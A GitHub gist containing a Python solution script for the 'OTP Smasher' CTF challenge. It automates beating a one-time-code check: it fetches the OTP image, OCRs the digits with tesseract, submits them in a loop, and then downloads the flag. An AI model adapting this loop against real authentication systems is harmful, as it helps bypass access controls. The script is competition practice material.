Skip to content

Instantly share code, notes, and snippets.

@PsHegger
Created September 19, 2021 18:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PsHegger/b0af5e24831c6b700854c9fc282d445c to your computer and use it in GitHub Desktop.
Save PsHegger/b0af5e24831c6b700854c9fc282d445c to your computer and use it in GitHub Desktop.
Script for solving the OTP Smasher challenge in the 2021 h@cktivitycon CTF
#!/usr/bin/env python3
import subprocess
import requests
from html.parser import HTMLParser
base_url = "http://challenge.ctf.games:32004"
otp_url = f"{base_url}/static/otp.png"
flag_url = f"{base_url}/static/flag.png"
class CountParser(HTMLParser):
def __init__(self, *, convert_charrefs=True):
super().__init__(convert_charrefs=convert_charrefs)
self._count_tag = False
def handle_starttag(self, tag, attrs):
if tag == "p":
self._count_tag = True
def handle_endtag(self, tag):
self._count_tag = False
def handle_data(self, data):
if self._count_tag:
self._count = int(data)
@property
def count(self):
return self._count
def update_image():
r = requests.get(otp_url, allow_redirects=True)
open('otp.png', 'wb').write(r.content)
def download_flag():
r = requests.get(flag_url, allow_redirects=True)
if 200 <= r.status_code < 400:
open('otp_flag.png', 'wb').write(r.content)
return True
else:
return False
def ocr_image():
with open('otp_smasher_out.txt', 'w+') as f:
subprocess.run(["convert", "otp.png", "-channel", "RGB", "-negate", "otp.png"])
subprocess.run(["tesseract", "-l", "eng", "otp.png", "otp", "-c", "tessedit_char_whitelist=0123456789"], stdout=f, stderr=f)
with open('otp.txt') as f:
return ''.join(f.readlines()).strip()
def _main():
flag_available = False
prev_count = 0
while not flag_available:
update_image()
otp = ocr_image()
r = requests.post(base_url, data={'otp_entry': otp})
count_parser = CountParser()
count_parser.feed(r.text)
print(f"Count: {count_parser.count}")
if prev_count > 0 and count_parser.count == 0:
break
prev_count = count_parser.count
flag_available = download_flag()
if __name__ == "__main__":
_main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment